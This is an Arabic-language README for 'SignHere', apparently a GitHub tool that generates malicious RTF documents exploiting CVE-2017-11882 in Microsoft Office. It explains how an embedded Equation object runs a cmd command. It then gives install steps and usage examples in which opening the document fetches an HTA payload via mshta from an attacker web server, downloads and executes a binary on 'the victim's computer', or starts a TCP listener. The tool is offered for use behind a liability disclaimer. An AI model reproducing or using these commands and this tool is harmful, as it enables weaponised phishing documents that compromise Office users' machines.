SignHere

مقدمة

CVE-2017-11882 - معرف الثغرة الأمنية الفريد لـ Microsoft Office 2007 Service Pack 3 و Microsoft Office 2010 Service Pack 2 و Microsoft Office 2013 Service Pack 1 و Microsoft Office 2016 يسمح للمهاجم بتشغيل كود في سياق المستخدم الحالي دون معالجة الكائنات في الذاكرة بشكل صحيح، وهو ما يُسمى "ثغرة تلف الذاكرة في Microsoft Office". يتضمن التنفيذ إنشاء برنامج لبناء مستندات rtf الخبيثة وحمولات بلغة VBScript.

مبدأ التشغيل

مستندات rtf هي المعرضة للخطر لأنها يمكن أن تُبرمج من خلال معرفة أوامر خاصة - رؤوس RTF. وبالتالي، يتم إنشاء كائن ثنائي (قابل للتنفيذ) في جسم المستند، في الواقع هو معادلة Microsoft Equation تحتوي على الكود الذي يحتوي على أمر cmd. ثم يمكنك إنشاء الحمولة النافعة بلغة VBScript واستخدام الأمر "mshta link to the payload file" لتنفيذ ملف hta.

تنبيه!

المؤلف والمساهمون غير مسؤولين عن أي ضرر يلحق بك أو يسببه لك.

التثبيت

يتطلب البرنامج Python 3 للتشغيل.

لينكس

يمكنك استخدام Termux، لكن تشغيل البرنامج يتطلب صلاحيات الجذر

git clone https://github.com/Retr0-code/SignHere/
cd SignHere/
chmod +x SignHere.py
./SignHere.py --help

ويندوز

أولاً، تحتاج إلى تنزيل الأرشيف. ثم قم بفك ضغطه وافتح نافذة PowerShell في هذا المجلد واكتب:

.\SignHere.py --help

الاستخدام

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --powershell "start iexplore.exe https://github.com/Retr0-code/SignHere" --ip 192.168.1.74 --output generated.rtf

--cmd الوسيط مع أمر Windows الذي سيتم تنفيذه بعد فتح المستند.

--powershell الوسيط مع أمر PowerShell الذي سيكون في حمولة VBScript.

--ip الوسيط مع عنوان IP الذي سيستخدم لخادم الويب. (الافتراضي: 127.0.0.1)

--output اسم ومسار المستند.

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --temp exploit.exe --ip 192.168.1.74 --output generated.rtf

--temp الوسيط الذي سيستخدم ملفًا ثنائيًا كحمولة (الملف الثنائي سيبدأ تشغيله في ذاكرة RAM).

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --payload exploit.exe --ip 192.168.1.74 --listener-host 192.168.1.74 --output generated.rtf

--payload الوسيط الذي سيقوم بتنزيل ملف على كمبيوتر الضحية وتنفيذه.

--listener-host الوسيط لبدء مستمع TCP على عنوان IP الحالي (الافتراضي: 127.0.0.1)